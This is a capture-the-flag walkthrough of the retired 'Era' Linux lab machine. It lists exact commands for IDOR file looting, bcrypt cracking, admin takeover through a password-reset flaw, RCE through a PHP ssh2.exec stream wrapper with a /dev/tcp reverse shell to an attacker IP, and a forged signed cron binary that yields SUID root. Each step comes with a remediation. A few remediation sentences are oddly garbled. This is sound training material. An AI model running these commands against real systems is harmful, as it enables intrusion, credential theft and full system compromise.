← all walkthroughs

Era

Linux· Medium
owned
2026-09-04
time to own
22m36s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I enumerated the file.era.htb file-sharing application, registered a disposable account, and abused a sequential-ID IDOR on the download endpoint to pull every other user's files - including an internal source-code/database backup and a private code-signing key. Cracking the leaked SQLite password hashes yielded working credentials for two local accounts, and an unauthenticated password-reset endpoint let me take over the admin account outright. From the admin panel, an unsanitized file-format parameter reached PHP's stream-wrapper layer, and with the ssh2 extension loaded this allowed remote command execution over loopback SSH using one of the cracked credentials - producing an interactive foothold.

The same cracked credentials were reused for a second local account to read user.txt. Finally, a root cron job executed a group-writable binary that was only protected by a home-grown signature check keyed to the private key leaked earlier; forging a valid signature over a malicious payload and dropping it in place gave me a SUID-root shell and root.txt.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"
export PASSWORD7="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceService enumeration and virtual-host discovery
Mapped exposed services and discovered the file-sharing virtual host
A port scan of the target found only FTP (21) and HTTP (80, nginx 1.18.0). The HTTP service was name-based virtual hosting: era.htb served a static site, while file.era.htb hosted a PHP file-hosting application with register, login, upload, download, and manage pages backed by a SQLite database.
Nmap: 21/tcp ftp, 80/tcp http nginx 1.18.0 (Ubuntu); file.era.htb exposed /register.php /login.php /upload.php /download.php /manage.php
Exact commands 3
Confirm open ports and service banners.
nmap -Pn -sC -sV -p- $TARGET
Add the discovered vhosts to local resolution.
echo "$TARGET era.htb file.era.htb" | sudo tee -a /etc/hosts
Fingerprint the app's forms/pages.
curl -s -H 'Host: file.era.htb' http://$TARGET/register.php | grep -Eio '(<form[^>]*>|<input[^>]*>|<button[^>]*>)'
2Initial AccessSelf-service account registration abuse
Registered a disposable account and authenticated to the app
The file-hosting app was open registration. Creating an account and logging in returned a PHPSESSID session cookie and redirected to manage.php, giving me a low-privilege, authenticated view of the download workflow.
'Registration successful! Redirecting to login page.' followed by 302 redirect to manage.php and a set PHPSESSID cookie.
Exact commands 2
Register a disposable account.
curl -s -H 'Host: file.era.htb' -c cookie.jar -b cookie.jar http://$TARGET/register.php --data-urlencode 'username=codex0904b' --data-urlencode 'password=$PASSWORD3'
Log in; captures the PHPSESSID session cookie.
curl -s -i -H 'Host: file.era.htb' -c cookie.jar -b cookie.jar http://$TARGET/login.php --data-urlencode 'submitted=true' --data-urlencode 'username=codex0904b' --data-urlencode 'password=$PASSWORD3'
3ExploitationInsecure Direct Object Reference (IDOR) / broken object-level authorization (CWE-639)
Used a sequential-ID IDOR to loot every user's uploaded files
Download.php?id= took a plain sequential integer that was never checked against the session owner. Iterating the id space with the authenticated session returned other users' files, including a site backup (application source plus the live filedb.sqlite) and a signing.zip containing a private code-signing key (key.pem) used later for the root escalation.
Id=54 -> site-backup-30-08-24.zip (source + filedb.sqlite); id=150 -> signing.zip (key.pem, x509.genkey)
Exact commands 3
Enumerate every downloadable id regardless of owner.
ffuf -u 'http://file.era.htb/download.php?id=FUZZ' -H 'Cookie: PHPSESSID=<yours>' -w <(seq 0 5200) -fr 'File Not Found'
Pull the app source + SQLite backup.
curl -s -H 'Host: file.era.htb' -b cookie.jar "http://$TARGET/download.php?id=54" -o site-backup.zip
Pull the leaked private signing key.
curl -s -H 'Host: file.era.htb' -b cookie.jar "http://$TARGET/download.php?id=150" -o signing.zip
FixEnforce per-user ownership checks on file downloadsCritical
Weaknessdownload.php resolved a file by a plain sequential integer id that was never checked against the requesting session's owner, letting any authenticated user page through the entire id space and pull every other user's uploads, including internal backups and a private key.
FixOn every download request, verify the record's owner_id matches the authenticated session user and return 403 otherwise; replace sequential integer ids with per-user unguessable identifiers (UUIDv4) so ids can't be enumerated even if the check is ever missed.
4Credential AccessOffline password cracking of leaked application hashes (T1110.002)
Cracked bcrypt password hashes recovered from the leaked database
Filedb.sqlite from the stolen backup contained the users table with bcrypt password hashes. Offline cracking against a common wordlist recovered plaintext passwords for two local/service accounts, one of which was later confirmed to also work over SSH and FTP.
Hashcat -m 3200: Status Cracked 2/2 -> plains '[REDACTED: recovered credential]' and a second cracked value mapping to eric and yuri.
Exact commands 3
Extract the bcrypt hashes from the leaked DB.
unzip site-backup.zip -d backup && sqlite3 backup/filedb.sqlite 'select username,password from users;'
Crack bcrypt ($2y$) hashes.
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt
Recover plaintext: eric:[REDACTED: recovered credential], yuri:[REDACTED: recovered credential]
hashcat -m 3200 hashes.txt --show
FixEnforce strong, non-reused passwords and stop reusing web-app credentials for OS accountsHigh
WeaknessUser passwords stored as bcrypt hashes were still weak enough to crack offline with a common wordlist, and the recovered plaintext (eric:[REDACTED: recovered credential], yuri:[REDACTED: recovered credential]) also worked as those users' local Linux/SSH/FTP passwords, letting one leaked backup compromise multiple systems.
FixEnforce a minimum-strength, breach-list-checked password policy (e.g., NIST 800-63B, HaveIBeenPwned range API) at registration, and prohibit reusing the same password between the web application and OS/service accounts; require key-based SSH authentication instead of passwords where possible.
5Privilege Escalation (Web App)Unauthenticated account takeover via broken access control on a password-reset flow
Took over the admin account via an unauthenticated password-reset endpoint
Reset.php overwrote a user's security-question answers based solely on a client-supplied username, with no proof that the caller owned that account. Using the admin username recovered from filedb.sqlite, my reset its recovery answers to known values and logged in as admin at security_login.php.
Reset.php accepted username=<admin> plus my own new_answer1/2/3 with no session check; subsequent login at /security_login.php succeeded with those answers.
Exact commands 2
Overwrite the admin account's security answers; <ADMIN_USERNAME> is read from filedb.sqlite.
curl -s -i 'http://file.era.htb/reset.php' --data 'username=<ADMIN_USERNAME>&new_answer1=$PASSWORD7&new_answer2=$PASSWORD7&new_answer3=$PASSWORD7'
Log in as admin using the just-set answers.
curl -s -i -c admin.jar -b admin.jar 'http://file.era.htb/security_login.php' --data 'answer1=$PASSWORD7&answer2=$PASSWORD7&answer3=$PASSWORD7'
FixRequire proof of account ownership before changing security-recovery answersCritical
Weaknessreset.php updated a user's security-question answers based solely on a client-supplied username with no session or identity check, allowing an unauthorised user to silently take over any account - including admin - by resetting its recovery answers.
FixRequire the caller to already be authenticated as the target account, or verify a signed, time-limited token sent to the account's registered email/out-of-band channel, before allowing security-answer or password changes. Never treat a request-body username as authorization to modify that account.
6Exploitation (RCE)PHP stream-wrapper injection / RCE via fopen() sink (T1190)
Gained remote code execution via a PHP ssh2 stream-wrapper injection in the admin file viewer
As admin, the file viewer passed my own 'format' parameter straight into a PHP fopen() call. Because the ssh2 extension was loaded, supplying the ssh2.exec:// wrapper with the cracked yuri:[REDACTED: recovered credential] credentials against loopback SSH executed arbitrary commands as yuri, which was upgraded to a reverse shell.
Opening: ssh2.exec://yuri:[REDACTED: recovered credential]; ... Resource id #3; the resulting interactive shell returned uid=1001(yuri) gid=1002(yuri).
Exact commands 3
Confirm command execution as yuri via the ssh2.exec wrapper (trailing ';' shields appended junk).
curl -s "http://file.era.htb/download.php?id=<id>&show=true&format=ssh2.exec://$USERNAME:$PASSWORD@127.0.0.1:22/id;"
Swap in a reverse shell command; catch it with nc -lvnp 443.
curl -s "http://file.era.htb/download.php?id=<id>&show=true&format=ssh2.exec://$USERNAME:$PASSWORD@127.0.0.1:22/bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/$ATTACKER_IP/443%200%3E%261%27;"
Run in the resulting shell to prove the foothold: uid=1001(yuri).
id
FixNever pass user input into a PHP stream-wrapper sinkCritical
WeaknessThe admin file viewer concatenated an externally controlled 'format' parameter directly into a fopen() call; with the ssh2 extension loaded, this let the ssh2.exec:// wrapper execute arbitrary OS commands over SSH using an unauthorised user supplied.
FixValidate 'format' against a fixed allowlist of expected file extensions rather than passing it into fopen(); disable php.ini allow_url_fopen / allow_url_include for this app, and remove the ssh2 extension if it isn't a genuine runtime dependency.
7Lateral Movement / User FlagCredential reuse / local account pivot
Reused a second cracked credential to pivot to the eric account and capture user.txt
The same offline crack that recovered yuri's password also recovered eric's password ([REDACTED: recovered credential]). Reusing it against the local eric account produced a shell as eric (uid 1000, group devs), whose home directory held user.txt.
Id -> uid=1000(eric) gid=1000(eric) groups=1000(eric),1001(devs); cat /home/eric/user.txt returned the flag.
Exact commands 2
Password: [REDACTED: recovered credential] (cracked from filedb.sqlite).
su - eric
Prove privilege context, then read the flag: <user.txt>.
id; cat /home/eric/user.txt
8Privilege Escalation (Root)Abuse of a group-writable, root-executed binary protected by a leaked signing key (T1053.003 / CWE-732)
Forged a signed root-cron binary using the leaked signing key to gain a SUID-root shell
Process monitoring revealed a root cron job (/root/initiate_monitoring.sh) running /opt/AV/periodic-checks/monitor every minute. That binary lived in a directory writable by eric's devs group and was only protected by a custom signature embedded in an ELF section, verified with the same key.pem I had already exfiltrated via the download.php IDOR. Signing a malicious replacement with that key and dropping it in place let root's cron execute it, producing a SUID-root shell.
-rwsr-xr-x 1 root root ... /tmp/0xdf; /tmp/0xdf -p -c 'id' returned euid=0(root); /tmp/0xdf -p -c 'cat /root/root.txt' returned the flag.
Exact commands 6
Observe the root cron invoking /opt/AV/periodic-checks/monitor every minute.
./pspy64
Build a payload that drops a SUID-root bash.
printf '%s' 'int main(){setuid(0);setgid(0);system("cp /bin/bash /tmp/0xdf && chmod 6777 /tmp/0xdf");}' > x.c && gcc x.c -o monitor
Sign the payload with the leaked private key, matching the app's custom verification scheme.
openssl dgst -sha256 -sign key.pem -out sig monitor && objcopy --add-section .text_sig=sig monitor monitor_signed
Overwrite the group-writable root-cron target.
cp monitor_signed /opt/AV/periodic-checks/monitor
Wait for the cron tick, then prove root: euid=0(root).
sleep 60; /tmp/0xdf -p -c 'id'
Read the root flag: <root.txt>.
/tmp/0xdf -p -c 'cat /root/root.txt'
FixRemove group-write access from root-executed binaries and stop storing the signing key in application backupsCritical
WeaknessA root cron job executed a binary from a directory writable by the low-privileged 'devs' group, and the only control preventing tampering was a custom ELF-section signature verified against a private key (key.pem) that was itself exposed through the earlier download.php IDOR, letting an unauthorised user forge a validly 'signed' malicious replacement.
FixRemove group-write permissions from any file or directory a root cron/service executes; store the signing private key in a secrets manager that is never bundled into application backups or web-accessible storage; and replace the home-grown signature check with a standard, audited mechanism (e.g., GPG detached signatures or sigstore/cosign) verified by a fixed, non-an unauthorised user-reachable public key.

Attack patterns used

The transferable techniques behind this compromise.

Cron Job AbuseLinux · Privilege EscalationT1053.003

What it is

Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.

Why it works

Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

21/tcp
80/tcp